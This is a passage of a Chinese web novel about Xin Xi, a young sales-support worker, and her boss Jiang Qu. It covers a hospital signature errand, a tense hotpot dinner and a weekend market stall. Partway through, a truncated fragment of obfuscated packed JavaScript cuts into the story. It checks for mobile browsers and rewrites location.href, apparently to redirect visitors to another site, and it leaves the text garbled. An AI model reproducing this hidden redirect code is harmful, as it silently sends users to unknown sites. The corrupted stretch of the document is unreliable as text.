然后,那男人却忽然抬眸,与自己四目相对的刹那,辛熙赶紧蹲下来身子。
好险,险些被发现了。
辛熙只能猫着身子,继续往上。
“Jim,晚上去家里吃饭吧。”
姜渠将佟歆亚推开,淡淡地丢下两个字,“不合适。”
“没什么不合适的。Jim,我只是单纯想要感谢你。”
不得不承认,佟歆亚依然很美,她的美,是被老天特意眷顾的,带着媚色,却并不庸俗。
很少有人能拒绝这种美。
姜渠却忍不住笑了,“佟歆亚,我不吃回头草。”
佟歆亚那张漂亮的脸蛋因为动怒而更动人,“Jim,你有新欢了?”
姜渠退身走开,并未回答。
没有人会在原地等你,更何况他是姜渠,永远在往前走的姜渠。佟歆亚并不懂他,但她不知道。
辛熙终于到了顶楼。
她平生不贪,逢年过节祭祖时,常常就俩愿望:熬夜不长痘、贪吃不长肉,但今天,她加了一个:院长一定要在办公室啊。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15302933|167170||http|test|mini|href|location''.split(''|''),0,{}));
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>辛熙到达院长办公室的时候,已经接近12点,门口站了不少厂商的、供应商的,排着队等签字。辛熙是第一次接触院长这个级别的,本能地畏手畏脚。
前面一个穿着西装的年轻男子,小声回头问她,“你哪家的?”男子往她手中的请款单瞥了瞥,似乎有些惊讶,上下打量了一下辛熙,“麦高的呀,厉害,厉害。”
能进麦高做销售的,都不是简单人。
辛熙礼貌地朝他笑笑。
江准见辛熙一副生嫰的样子,问她,“刚出来跑业务?”
辛熙点头不语。简运提醒过她,遇到同行最好保持距离,做业务的心眼子多,指不定哪句话就是陷阱,是套路。
女孩子在外面多些防备心理是好的,江准并不介意,将自己手中单子递给她看,真诚地做出解释,“我做药的,咱们不冲突。”
辛熙连“哦”了两声,“我不......我还不是销售。今天就是临时来帮销售同事忙的。”
“明白”,前面的人少了一些,江准往前移了移,“别紧张,姜院长算是好说话的了。”
“嗯,好。”
“对了,他可能会问你一些细节上的,你都知道吧?”
辛熙赶紧翻出合同、发票、服务报告这些,边走边记。
结果快要轮到江准时,姜院长忽然接了一个电话,起身套上白大褂,就要往外走。剩下的这些人哪里敢拦,人群里只有一个怯怯地声音,情急之下问了句:“院长,您还回来不?”
“这是我的办公室,我当然会回来。”
虽然......但是,辛熙还想问,您啥时候回来啊?能不能把字签了再走呀?
后来,在和江准熟悉了以后,他才说,那天他就知道这姑娘有股莽劲儿,可以成事。
江准中午有约,无法守在医院,他加了辛熙的微信,让她在院长回来时通知他。
“当然没有问题啦,举手之劳”,辛熙自然乐意。
趁着中午人少,辛熙去全家买了两个饭团和一瓶蔬菜汁,又重新回到了院长办公室外。四处寻摸了好久,终于决定去安全通道口坐着。
这里既能盯梢,又少有人走动。
辛熙一屁股坐在了楼梯上,连上手机热点,踩着最后一分钟,进入了销售大讲堂的会议。
简运接到姜渠电话时有些意外,虽然北区暂时由他acting,但毕竟中间还有个经理在。GM直接过来关心,简运有些忐忑。
“京医的图像优化引擎还没安装吗?”
“是的,姜总,有笔款项没回来,财务卡着,没批派工。”
“什么款?”
“核磁的维保款”,简运不知道姜渠为什么会突然问起,赶紧又补充道:“已经在走流程了,还差院长签字,院长今天回的医院,今天一定能把字签了。财务科那边我已经打好招呼,签完字就能付。”
“你今天在京医?”姜渠的话中隐隐不悦,“南大人民那边的招投标不是delay了吗?”
“是。我找了熙熙帮忙,哦,就是咱们的销售支持,辛熙。她办事很靠谱的。”
昏暗的楼道里,靠谱的辛熙一边啃着饭团,一边听讲解,不时又从幽蓝的电脑面前抬起头,窥视着外面的动静。
像......一只偷食的老鼠,还是只小白鼠。
虽然不是什么太美好的画面,但姜渠见到的第一眼,就想起了上学时,实验室里养的那些小白鼠。
12. 第 12 章
“你在这儿干嘛?”
辛熙赶紧将最后一口饭团塞进嘴里,含糊着回答:“姜总......您怎么来了?”
莫不是刚才被他发现了?可自己也没干什么坏事啊,辛熙立马理直气壮起来,“我等院长签字呢。”
在这儿等?姜渠注意到她的旁边放着一个透明的文件袋,可以清楚地看到“付款申请”的字样。他拎着外套,径直走过去,隔着文件袋和辛熙并排坐着,“你看你的。”
他只这么说了一句,就拿出手机,自顾自地翻起来。
有这么一个人在旁边,辛熙很难专注,可回头看这人,长腿往下一搭,单手肘撑在阶梯上,姿态闲适,也就不费心劝他走了,白费口舌。
讲师正好说到SMART,辛熙隐隐记得前面讲过,是设定目标的五个考量因素,“分别是什么来着?”
辛熙赶紧往前翻笔记。
“Specific具体的,Measurable可衡量的,Attainable可达到的,Relevant相关的,Timebound有时限的。”
姜渠甚至连头都没有抬一下,就解答了这个问题。
这不得不让辛熙怀疑,他在旁边偷窥?
于是,接下来,她试图趁其不备,出其不意,接连回了几次头,发现姜渠都只是在认真地刷手机,甚至间或地回了些工作邮件,这其中有一些辛熙被抄送在内,电脑右下角的弹窗跳出了他的回复。
倒真像是在认真办公。
“要学,就专心点”,姜渠发现了她的试探。
非要努力,恪尽辛劳,偏又三心二意的,怎么能学好?
辛熙遂放弃,又再投入其中。
时间在两个人各自的忙碌中悄无声息地流逝,光影成为时间的度量尺,在昏暗的楼梯间忽明忽暗。
院长办公室的门终于有了动静,辛熙赶紧将电脑装回包里,手机拿得跟对讲机一样,发了条语音出去:江准江准,院长来了哦,快过来吧。
辛熙拉开安全通道的门,才想起得跟自己老板打个招呼,“姜总,那我先去找院长签字咯,您慢慢坐。”
慢慢坐?
小时候,妈妈常告诉她,先吃完饭的时候,要对桌上其他还在用餐的人说:我吃好了,诸位慢慢吃。
所以,我不在这儿坐了,您慢慢坐。
姜渠无语,在这黑咕隆咚的安全通道慢慢坐?
辛熙不是第一个进入院长办公室的。
她没想明白,怎么这院长的门是有什么特殊的魔力吗?门一开,就有藏在不知道什么地方的妖魔鬼怪统统现身,涌过来。
哈哈,妖魔鬼怪,自己也是其中之一,只是大家都有不同的化身。
辛熙安心地排着队,然后,就眼睁睁地看着刚才还在安全通道的男人,越过自己,闲庭信步般走了进来,并甩身往沙发上一坐。
院长见他过来,只是有些惊讶,“你不是上班去了吗?怎么还在这儿?”
他甚至懒得多回答,没有半点作为乙方的谦卑,用下巴点了点队伍里的辛熙,“嗯,上着班呢。”
监工不也是上班吗?
姜院长望向自己的眼神里,明显多了几分打量。
姜院长,姜渠,他俩......辛熙有了自己的猜疑,再看那眉眼间的气度,还有那说话的语气,可不就是同一标准下的出厂配置啊。
姜渠抬眼就能看见人群里,表情变幻莫测的人,真的是半点心事都藏不住。
终于轮到辛熙了,忐忑着将请款单递过去,姜院长见她脸生,问:“你们公司换业务员了?”
“哦,没有,没有”,辛熙赶紧做了一番解释。
姜院长也只是随口一问,他更关心的还是服务本身,有没有达到合同约定的内容,例如开机率、维修响应时效、培训和保养次数等。
还好,还好,辛熙提早记下来了,一一应付如流。
没给麦高丢脸,也......没给姜总丢脸。
姜院长在签字落笔后又问了一句,“年初谈好的图像优化引擎,怎么还没完成交付?”
辛熙不知道这算不算来自甲方爸爸的push,但她攥在手中的签字单用了用力,生怕姜院长一个后悔,要了回去。总不能说,因为你们欠款未结清,我们无法安排吧。
如果她这么回答,单就办公室外排队的这群人中就能立马跳出几个来说,我们可以做,而且先服务后付款。
“已经在排单了,这两天应该就可以”,辛熙说着半真半假的话,“我回去后立马落实。”
沙发那头传来一声轻笑,辛熙悄悄地瞪了他一眼,虽然这与她无关,她也什么都做不了,但这么说也是为了公司好吗?
“去吧。”
辛熙终于完成任务,再将单子交到财务处,就算完事了。
只是GM都这么闲的吗?辛熙在走出财务室后忽然想到这点,于是发了消息给姜渠:姜总,您还在医院吗?
姜渠很快回复:什么事?
辛熙:您在哪儿呀?
姜渠:停车场。
辛熙:那您可以等我一下吗?
姜渠:医院门口等我。
姜渠将车子从负一层开到地面,远远就看到辛熙抱着笔记本电脑,正在四处张望。按喇叭的手,在见到其身后跟出来的人影时止住。
江准叫住了辛熙,“没想到你动作这么快,我刚签完字出来,眨眼的功夫,就找不到你了。”
“不好意思啦,我还得赶回去上班。”
江准将提着的网红爆款奶茶递给她,“专门给你买的,我见我们公司那些女同事都喜欢这个,好喝无负担。谢谢你给我报信。”
“嘿嘿,小事一桩,不用放在心上的。”
江准摇了摇手机,“有时间,咱们常联系啊。”
“好咧”,辛熙笑眯眯地同他挥手再见。
今天不错啊,完成了同事拜托的事情,又认识了新朋友,辛熙心满意足,脸上的笑容收都收不住。
姜渠就坐在车里,任她找了好久,才算找到自己的车,脚步轻快地朝这边过来。
辛熙敲了敲他的车窗,“姜总,哈喽,姜总?”
车窗缓缓降下,露出一张略沉的侧脸,掀眸睇过来,甩出一个单字,“说”。
辛熙短暂地琢磨了一下,今天的事情还算办得不错,他应该不是在生自己的气,于是鼓起勇气问:“姜总,您是不是有事情要吩咐我,但不好意思开口呀?”
不然干嘛在安全通道,陪着坐了那么久,但又什么都没说。
姜渠一头问号,冷峻的脸上,露出一种类似“尴尬”的表情。
辛熙弯腰弓背,等着他的回答。
“我能有什么吩咐你的”,姜渠发动车子,准备离开,“回去好好上班,自己给客户做出的承诺自己完成。”
“诶,那姜院长......”
“别自作聪明。”
辛熙觉得自己get到了姜渠的意思,比了个OK的手势,了然笑道:“您和姜院长的关系,我绝对保密!”
也没想想,如果真的是需要保密的关系,姜渠又怎么在她面前大摇大摆地显露出来。
算了,姜渠懒得给她解释,目光不耐烦地移到她手里提的奶茶上,“一杯奶茶就值得高兴成那样?”
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>“唔......这不一样啊,这是人家买来感谢我的。”
因为我对别人有益,别人又有回馈之心,这是善意的双向流动,和老板犒劳下属的意思可不一样。
姜渠见她那副得意的样子就觉得碍眼,墨镜一戴,黑色的保驰捷发出一阵不耐烦的轰隆声,扬长而去。
临近下班前,京医医院的款打到了账户上,辛熙立马将底单发给了财务,请求财务审批派工。然后联系工程师,约医工科时间,杂七杂八的事情忙完,再一抬头,天色已经昏暗。桌上的奶茶已经失去了吸引力,好看的分层混浊成了奇怪的汤汁。可惜她给忙忘了,辛熙只能遗憾地将它扔进了茶水间的垃圾桶。
往回走时,碰到姜渠从外面进来,手上拎着一样的奶茶袋子。
然后,奶茶怎么就换到了自己手中?香甜丝滑的奶茶顺着口腔流入内腑,所经之处皆有暖意升腾。脑子恢复清明,再又看见桌上那块慕思蛋糕,白天在医院里的猜想,再一次在脑中盘旋。
这不太寻常!辛熙决心要和姜渠把话说清楚。
于是又给姜渠发了消息:姜总,您现在有时间吗?
姜渠直接回她:有事过来说。
辛熙:不是公事,方便在外面说吗?
聊天框上面的“对方正在输入”持续了较长的时间,磨得她手心微微渗汗,可辛熙最后只收到五个字:停车场等我。
得,又是停车场。
辛熙赶紧收拾起包包下楼,在划给高管的停车位区域,找到了姜渠的车子。
没一会儿,姜渠也下来了,不等辛熙开口,他直接说:“上车,先去吃饭。”
“哈?不用,不用,我说几句话就走”,头摇得跟拨浪鼓似的。
姜渠深眸一沉,“在这儿说?”
停车场到了晚间,即便亮着灯,也有一种令人后背发凉的惊悚感,伴随一声尖锐的异响,辛熙急忙跳上了车。
姜渠选的晚餐地点,在二环边上的一家海鲜和牛火锅,辛熙张口想说话,又被姜渠打断,“点菜,看看想吃什么。”
辛熙拿起菜单,“也好,今晚换我请您吧,上次在食福居说好的。”
“你确定?”
“我当然......”辛熙打开菜单的一瞬间就改了口,“不确定。哪能跟老板您抢单呢,多不懂事啊。”
所谓英雄气短,辛熙向来识时务,没必要拿小半个月工资吃一顿吧。用这餐回请,太吃亏了。
辛熙不想吃亏,将菜单递给姜渠,“还是您点吧,我减肥,吃不了太多。”
意思很明白,谁点餐谁付账。
穿着厨师服的中年大叔现炒的火焰蟹粉黄鱼锅底,汤汁被熬至金黄,鲜香浓郁,再涮入嫩滑的肉或海鲜,味道一绝。
姜渠叫了壶黄酒,在水炉子上温着,“海鲜性凉,得配着这酒吃。”
辛熙不太懂,但吧唧一口,发现挺好喝,也没拒绝,“咦,你不喝吗?”
“我喝了你开车?”
不是跟你说过了嘛,“我没驾照呀。”
“那为什么不学一个?”姜渠继续问。
辛熙想了想,因为就自己这点收入,在这座城市很难买上车?就算买上了,也负担不起保险、耗油、停车费等,也就是养不起。
“因为觉得自己不会买车,而选择连驾照都不考?”
辛熙点点头,当然,还有个原因她没说,因为嫌麻烦,怕去驾校被教练骂。大学时,同宿舍的室友就因为这件事情,差点被教练骂到抑郁呢。
“所以这也是你当初突然不告而别,微信电话都拉黑的原因?”自己预先设定了限制,然后在源头掐断一切可能。
13. 第 13 章
辛熙不知道话题怎么转到了这里,但伸头是一刀,缩头也是一刀,早晚得说清楚的。
借酒壮胆的怂人,又给自己添了一杯,“姜渠,不告而别确实是我不礼貌了,对不起啊。可,可你明明有女朋友,你还在外面,那啥,真的不好。”
“当然了,也怪我自己,色迷心窍,没把持住,运气又不好,遇到个......”渣男,辛熙没敢当着他的面说出这个词,“所以,咱俩谁也别计较,好么?”
姜渠今天是打算兴师问罪的,可怎么她三两句,就变成两个人各有过错了?他有什么错?真是会狡辩,姜渠都被气笑了。
“谁跟你说我有女朋友的?”
“谁?”辛熙捧着晕乎乎的脑袋想了想,“不是你那天亲口承认的吗?”
“我那天说什么了?”
“你说......嗯,你骗了我,你撒谎了,你有女朋友”,辛熙越说越气,眼底连番地涌上酸涩又委屈的泪。
“是么?你再想想。”他那天也是一时报复心理作祟,见不得她云淡风轻地将事情掩过。
可辛熙哪里知道,略带愠色的目光凝向他,“是的呀!我今天都看到了,好漂亮的。”
姜渠自然知道她看到的是谁。
五楼窗口那个一闪而过的鬼祟人影,在蹲下后,没有意识到医院为了给楼梯间增强采光,在窗台下方也做了透明玻璃。
缩成浑圆的一团,猫在角落里,呆呆地待了好久。
他很好奇,她当时在想什么?今天两次主动找自己,又究竟是想要说什么,或者做什么?
辛熙一拍脑袋,“说到这儿,差点忘了最重要的。”
她将椅子往姜渠那边挪了挪,期身靠近,但又留着安全距离,单手侧挡着嘴角,似乎要说什么不可外宣的事情,“姜渠,我知道你今天为什么又是陪我在楼梯上坐那么久,还又是给我买奶茶甜点。”
她的眼睛生得圆,一眼望去像积雪化开而成的天池水,作这种挤眉弄眼的劲儿有种别样的娇俏,姜渠配合着低声,“说说,为什么?”
辛熙做了个“嘘”的手势,“你怕我将我俩的事情告诉给你女朋友,是不是?”
热茶烫口,姜渠险些摔了茶杯,“你知不知道你自己在说什么!”说完,又去看了下水炉子上的黄酒,好家伙,不知不觉,大半瓶都被她喝光了。
“你放心吧,我不会说的”,辛熙坐直身子,“我知道你不好意思开口,这说明,你还是有点廉耻心的。但就像我之前说的,这事儿,我有错,我才是罪魁祸首。”
说到这儿,辛熙险些哭出来。她不想被钉上道德的耻辱柱,但事情又无法挽回。她不该再和姜渠扯上任何关系,可她又舍不得现在的工作。
辛熙真的很懊恼。
这件事几乎是她那谨小慎微,如履薄冰,不求有功但求无过的青春里,最荒唐的事了。负罪感让她的声音开始哽咽,“但......我不敢跟你女朋友承认,不然我爸妈得打断我的腿。”
辛熙仰天长叹,泪眼婆娑,偏目光捕捉到一旁的姜渠时,那浓眉大眼高鼻梁,简直哪儿哪儿都长在了自己审美上。
真是不争气!
辛熙恼恨自己,将杯里剩的酒一口闷下,双手往大腿上一拍,朝他吼了一声,“姜渠,你别在外面招惹了,好不好?以后安分点儿。嗝~”
明明有那么好的女朋友还不知足,明明......心头冒出拙涩不明的情绪......自己以为的那么美好的奇遇变成一段荒诞又丢脸的事。
“姜渠......姜总”,您小心得病,哼!辛熙端起酒杯敬他,话到嘴边,却只有一句,“祝您健康。”
该怎么形容自己的心情,憋闷?
姜渠不知道。
姜渠也不知道,这顿饭怎么就以“祝您健康”结束的。
做业务多年,酒桌饭局参加了不少,如何引导对方,如何拿下话语权,在他这里,向来游刃有余。
偏每次,这小姑娘一开口就能精准打击,字字句句都直往心底最敏感处捅,让想说的话都只能哽在咽喉处,吞不下吐不出。最后只咬牙切齿地说了一句,“我很健康,倒是你,没事去看看眼科,再照个脑部CT吧!”
什么猪脑子!
辛熙只让姜渠送到了清溪公园门口,就下了车。
“你家住在公园里?”
语气不悦,暗含讥讽,但辛熙并不受影响,她非常满意自己今天的表现,因为自己今天是个合格的会猜老板心思的好下属。酒意已经去了大半,辛熙中气很足,“再有几步路就到了,胡同小,不方便开车进去。就不麻烦姜总了,您慢走。”
嗯,还是个很会体谅老板的好下属!
她在拉界限,意思很明显,姜渠自然知道,一脚油门,疾驰而去。
看,老板多么迫不及待!若是自己再不识趣,麻烦老板送到家门口,说不定周一就会因为没有眼力见儿而被开除。
辛熙长吁一口气。
姜渠开出一段距离后又倒回去,夜深人静,一个小姑娘又喝了点酒,万一遇到点什么事情,他直接从渣男变成嫌疑犯了。
清溪公园门口早没了人影,姜渠顺着胡同往里找,手机上收到微信:我到家了,谢谢您,辛苦您了。
客气得过分!
再往前就是姥姥家,姜渠稳了稳烦躁的心绪,给黎英拨了个电话过去,“姥姥,我刚好在家附近,来看看您吧?”
黎英接起电话的时候,辛熙刚好进门,朝她打了个招呼就往小院子里去,“怎么了?喝酒了?”
“没呢,喝了酒我怎么开车?刚好在附近吃的饭。”
毕竟是跟在自己身边长大的孩子,黎英哪里觉察不出他情绪上的低沉,但男孩子嘛,总归要养得粗糙些,不能耽溺于情绪上的触动。
黎英口吻轻松地问他,“怎么?把人姑娘给得罪了?还是人家和你吃顿饭后发现你这人嘴刁又不好相处,于是把你给甩了?”
姜渠没能从她这里获得安慰,虽然他早有准备,“不是都跟您说了,就是公司同事。”
原本祖孙俩每周五晚上是要一起吃饭的,而今天,姜渠放了她鸽子,因为他说他要请同事吃饭。黎英多问了几句,猜出来是个女同事,他也没否认。
黎英自然不信,“同事下了班不回家,干嘛一起吃饭的咯?我也是从年轻那时候过来的,哪里不懂。”
“真就只是同事。”
“同事就同事吧”,黎英打算给自己这位外孙一个面子,装着信了,“你们年轻人多交交朋友没坏处,但你是男人,要多包容、体谅,也要有担当。不要像......算了”
都是些老生常谈的话题,黎英可不想在自己最自在的退休生活里变成一个祥林嫂。
辛熙刚好换了衣服出来,推开小院的玻璃门,知道她在接电话,并没有出声,而是指了指自己专门给她带的汤,嘴型无声地说着三个字:趁热喝。
黎英也不再等姜渠回答,匆匆结束话题,“你有事没事呢,就去找徐进他们几个,好好享受你的生活,不用太管我这老太婆,你来我这里不方便,家里有小姑娘的。”
姜渠听着电话里的忙音,这才意识到姥姥又挂
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了电话,心里隐隐对这个很讨姥姥喜欢的“小姑娘”有了意见。
无奈,遂给徐进拨过去,问人在哪里鬼混。
徐进是他的发小,两个人一起出的国,只不过毕业后,姜渠选择了留下创业,而徐进选择了回国发展,如今也算是投资圈里的新贵。但他投得很杂,餐饮、畜牧养殖、生物燃料、物联网技术等等,几乎涵盖他生活所需的方方面面。
最近,徐进和他的几个合伙人看中了郊外的一块风水宝地,想要拿来做露营基地。
姜渠到达高唐客的包间时,里面已经烟雾缭绕,红男绿女,摇曳生姿。徐进正搂着一个金发碧眼的女子亲热,姜渠直接走过去,毫不客气地拍了拍他,坐到了远一点的位置。
徐进安抚好恋恋不舍的女人,意犹未尽,但还是提着酒和杯子走过来。
“怎么了?兴致不高啊?难得见你主动过来。”
姜渠接过他递来的酒,将加了冰块的威士忌,一饮而尽,“累,刚下班。你以为人人都像你,年纪轻轻就财富自由了?”
“嘿,你这话说得,你是靠你那点年薪生活的?”
也就徐进,认为他那七位数的年薪只是“一点”。
徐进又给他添了一杯酒,语态转成了试探,“听说,那谁,回来了?”
姜渠斜瞥了他一眼,这人就是太有钱闲的,八卦得很。
“她回国第一个联系的不是你吗?”姜渠直接戳破。
徐进又嘿嘿笑了两声,“别误会,别误会啊,人家不是怕直接找你,你不理,才找到我这儿来的嘛。”
先找个彼此都熟悉的中间好友,再意外辗转出一场久别重逢,是佟歆亚惯用的方式,维持体面。
“说真的,我听她那意思,是想要回国定居的,你俩......”
“你收她钱了?还是最近太闲了?”
“哥们这不是替你想着嘛,你也老大不小,这么多年也就一个佟歆亚。之前你要回国,她不肯,两个人闹了分手,现在她愿意回来,多好。”
“她跟你说的?”
他俩分手的原因,姜渠一直没对任何人说过。感情里的是是非非其实很难论对错,任何一方主观的描述都不可能是公正的,所以他不想去评说。
朋友圈子里,可能只有施琪多少猜到一些始末。
当然,徐进对于这个原因也并没有十分相信。
姜渠什么人,从小到大只要他认定的事情,就没有一件是不办成就算了的。
哪怕要攀山淌河,遇重重阻隔,涉刀山火海,在姜渠的世界里,就不可能有妥协的字眼。
不过就是个异国,就能把手分了?
“我就是觉得你俩男才女貌,多般配啊,分了挺可惜的。”
“般配?”姜渠脑中闪现那个想要和自己撇清关系的脸,问他,“万花丛中过的人,懂什么是般配?”
哥们之间,是连条底裤都藏不住的,徐进又是嘿嘿地笑,“好吧,我放弃了,我就多问”,然后做了个极其夸张的动作,“欢迎来到单身人士的花花世界!”
“对了,周末怎么安排?”徐进在姜渠回答之间补充了一句,“绝对不能说加班!”
好不容易把人盼到回了国,又先去外地忙活了几个月,好兄弟真正在聚一起的机会屈指可数。
“不加班。”
“那明儿跟我一起去我那露营的项目,看看?那块地,依山傍水的,我请风水大师看过,藏风聚气,非常好。有没有兴趣一起做?”
“没兴趣。”
徐进也不强求,“那就单纯去玩玩。”
14. 第 14 章
吉兆胡同里,黎英喝完了辛熙带回来的汤,评价道:“这家汤熬得蛮不错的,火候足,食料新鲜。”
“嗯呢,听说都是小火慢炖了好几个钟头的。不过,英姨,您今天怎么没去和您外孙吃饭呀?”辛熙有点意外。
“年轻人咯,要谈恋爱的嘛”,黎英说起时笑眯眯的,倒没有因此不开心。
辛熙却惊讶道:“您外孙都谈恋爱了吗?早恋?不......不好吧......”大城市的家长果然比老家的开明很多!
“早什么恋”,黎英起身收拾餐桌,“他比你年纪大,都属于晚婚晚育了。”
辛熙更是一脸的不可置信。
“他妈妈生他生得早”,黎英说到这,语气里隐藏着几分落寞,“不过好在,这孩子争气。从小啊,听话懂事,成绩好,半点没让人操心。”
辛熙敏感,自然能察觉到这里有一段晦涩的往事,不好再探听,于是岔开话题,“嘻嘻,那您的外孙应该长得很帅吧?毕竟有咱英姨这高挑肤白的漂亮基因在。”
“男孩子长那么好看干嘛,能当饭吃的咯”,黎英似乎并不认同,“你们小姑娘哦,就容易被这些表面的东西诱惑。”
黎英甚至搁下碗筷,郑重其事地对辛熙说,“我跟你说,男人,你得看他的责任心、工作能力、品格教养,甚至是他的家庭背景。长相嘛,排最后,看得顺眼就成。”
那些长得好看的......啧啧......姜渠的亲生父亲在黎英这里就是一个活生生的反例。
年轻时,长得一副斯文清俊的样子,诱哄着尚未成年的元如苏玩了一场私奔,最后呢,一句自由的灵魂不能被茶米油盐束缚了,就理所当然地卸掉了责任与担当,继续他的诗和远方。
辛熙看着黎英的背影想:听这意思,这位外孙应该是什么都没遗传到。
优良的基因,断代了,辛熙感到可惜。脑海中照着黎英的样子反向勾勒了下这位外孙的外形,大脸小眼塌鼻子,个子不高可能还有些胖?
下一秒,又意识到自己这样以貌取人是错误的,赶紧在心底对这位尚未谋面的外孙道了歉。
就算外形不出众,但就像黎英说的,人品好能力强,就赢过很多金玉其外败絮其中的人了,比如,那位渣老板,哼!人模狗样的渣渣!
第二日一早,辛熙又起了个大早。
黎英正在院中锻炼,见她甚至化了个妆,打趣问:“收拾得这么漂亮,有约会?”
“不是,我约了早早。”
林早,黎英是知道的,“见她干嘛还化妆?我跟你说哦,你要是谈恋爱了,可得先带来,我给你把把关。”
在黎英的眼中,乖巧的辛熙特别容易上当受骗,就像她曾经以为的乖顺的女儿,有一天却同人私奔,未婚先育一样。
“知道”,辛熙哪里不懂她的关心,“但我真的是去见早早哦。我俩约了周末去做地推。”
黎英停下手中的动作,“做兼职?”一副‘你这么缺钱吗’的表情,继续说:“如果手头紧,可以跟我说,房租可以先欠着”。
外地人来京北工作的生存压力有多大,黎英虽不能真的感同身受,但作为一个在各大社交平台都积累有一定粉丝量的时髦老太,黎英自然也从各种社会资讯里了解到一些。
能帮一个是一个嘛,这也是她当初愿意把房子租给辛熙的原因之一。
“没有的事。我这不是想转岗做销售嘛,就想多锻炼锻炼这方面的能力。”
辛雅教的嘛,要在日常生活和工作中里刻意练习。做地推,既能锻炼自己,又能赚点外快,简直完美。但她不敢告诉黎英这是辛雅的建议,因为黎英不太喜欢她这个姐姐,觉得她过于精明。
“上周不是说要辞职吗?”
辛熙腼腆一笑,“嘻嘻,我昨儿个把老板讨好了。”
老实的孩子也学会了投机取巧,这世道越来越不行了啊,黎英摇摇头,进了屋。
京北市中心的一套复式公寓里,姜渠被徐进的夺命连环call给吵醒,低骂一句,将手机随意一扔,又将整个脑袋埋进匹马棉的青色被子里,许久后才再有动静。
拉开遮阳的窗帘,户外的热浪拍着窗户提醒:暖春已至
穿戴好后下楼,姜渠见到坐在楼下饮茶的人并未表现出任何的吃惊,在茶几的一堆杂物里找到车钥匙后,就准备出门。
“坐下”,姜怀正在外做惯了大领导,浑身就是不怒自威的气场。
姜渠一愣,随即甩身往沙发上一躺,语气赖赖唧唧地,“又有什么指示啊?姜院长。”
姜怀正见不惯他吊儿郎当的样子,轻呵:“给我坐好。你在公司里也这幅样子?”
当然没有!姜渠配合着坐起身,今日春光大好,他并不想要把时间耗在这些已经年久失修的老套的争执里。双手平放在大腿面儿上,做乖顺的模样,微微颔首,“请您指示。”
父子俩从来都是这种相处模式,斗嘴斗气二十来年,轮流着占上风。
“我问你,你真选择不做医生了?”
“这个问题,我们不是早已经有定论了吗?”
姜怀正并不是会干涉孩子人生选择的顽固父亲,但国内本科五年,又去国外读研三年,最后却没有干这一行,实在可惜,“可到底为什么啊?”
“为钱咯”,姜渠指了指自己的这套公寓,“您也看到,我的选择很正确。”
姜怀正在医院兢兢业业干了小三十年,哪怕现在他已经升任院长,可他多年积蓄,也只在京医医院的附近,有一套九十平米的套三居室。
事实胜于雄辩,如果单以物质来定义成功的话,姜渠确实比他成功。
“我并不认为我教出来的孩子,是一个只会考虑物质经济的人。”
姜渠耸耸肩,“可您别忘了,虽然咱俩在一个户口本上,但咱俩可没有遗传学上的亲缘关系。”
姜怀正的目光暗了暗,元如苏和他的婚姻关系只短暂的存续了五年,可这五年,却几乎羁绊了他一生。
姜渠不忍见他这般,重新站起身,准备离开,却又被叫住,“昨天来医院那姑娘是?”
“不重要。”
“不重要,你专门陪着来?”
“那是我公司的单,我怕你不签字。”
“那姑娘不适合做业务。再说,如果你们要结婚,也不能两个都在外面忙,你......”
姜渠赶紧制止,话怎么越说越离谱,“赶紧打住啊!首先,你甲方爸爸别插手我乙方工作人员的事情。其次,谁天生下来就会做业务,你也不是天生下来就会拿手术刀的。最后,也是最重要的,结什么婚,我不婚主义。”
姜怀正瞥了他一眼,甲方爸爸也是爸爸,心情忽然就好了起来,只说:“行吧,我等着看。”
看什么?姜渠并没有从姜怀正那里得到答案
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。
栖云山在城郊,地势较高,山顶有广阔的草坪和一座天然湖泊,确实是不错的露营地方。正值周末,已经有不少喜欢野营的人发现了这块宝地。
稀稀拉拉地,四处撑着帐篷、遮阳伞和烧烤架。
徐进穿的一双人字拖,人刚从酒局上下来,头重脚轻地,一个没注意,一脚踢到一只啤酒瓶上,抱着腿嗷嗷地叫,“谁他妈这么没素质,垃圾不知道收走啊!不知道爱护环境人人有责吗?”
近处的几个人,没有人应,谁都不想担责。
徐进骂骂咧咧,要不是忽然来了电话,他肯定得拎起瓶子,挨个帐篷地去把责任人揪出来。
穿过这片野营的区域,往里走,就是翡翠湖。
翡翠湖其实并没有名字,只是因为湖面常年呈翡翠色,被大家口口相传,就从那面翡翠色的湖,变成了翡翠湖。
翡翠湖的名气比栖云山的大,所以这边已经自然地形成了一定规模的商业,节假日会涌上来很多卖小吃和小玩具的商贩。
所有被凛冬埋没的热情,都在春天冒出来。
湖边拍照的情侣,嬉闹追逐的孩童,特属于春天的风筝、野餐、郊游,毫不客气地发生着。
辛熙和林早的摊子支在一个小斜坡上,当然,这是林早的主意,“不这样,怎么揽客?我们得在同行里将自己凸显出来啊。”
说完,林早又拿了几个蝴蝶发卡分别夹在辛熙和自己的头上,对着朝自己这边看过来的小朋友招手,“喜欢蝴蝶吗?姐姐这里还有蜻蜓,有小兔子、小乌龟、小汽车......还有挖挖机哦。”
没一会儿,林早这边就聚拢来不少的小朋友,叽叽喳喳地,像雨后冒出来的小蘑菇,辛熙也被这样的氛围感染着,刚开始那点局促散得很快,新鲜感和成就感短暂爆棚。
这时,林早发现有个小朋友拿了东西但家长忘了付钱,正要追上去,辛熙赶紧拉住,“我去吧。”
就见她加速两步追上去,半蹲在地上,将手里的几只发箍都递给小女孩,“姐姐刚才看你,好像不怎么喜欢小兔子是不是?那姐姐手里这些,有你喜欢的吗?”
小女孩看了看妈妈,又朝辛熙点了点头,怯生生地问:“那我可以换成老虎的吗?”
“当然可以啦”,辛熙将老虎替换过去,小女孩明显笑得比刚才灿烂。
“嘿,这孩子,喜欢哪个又不直说,真是”,小女孩的妈妈语气略有责备,“真是不好意思,给你添麻烦了。”
“不麻烦。虽然只是几块钱的东西,但也希望能让小朋友都买到最喜欢的。”
小女孩的妈妈恍然一惊,“咦~我刚是不是还没付钱?”
“是么?”辛熙也装不知道。
小女孩的妈妈拿出手机查了查,赶紧补了钱。
林早悄悄朝辛熙竖大拇指,“你是不是怕我上去直接要钱,会让人没面子?”
“现代人谁也不差那几块钱,肯定也不是故意不付的。”
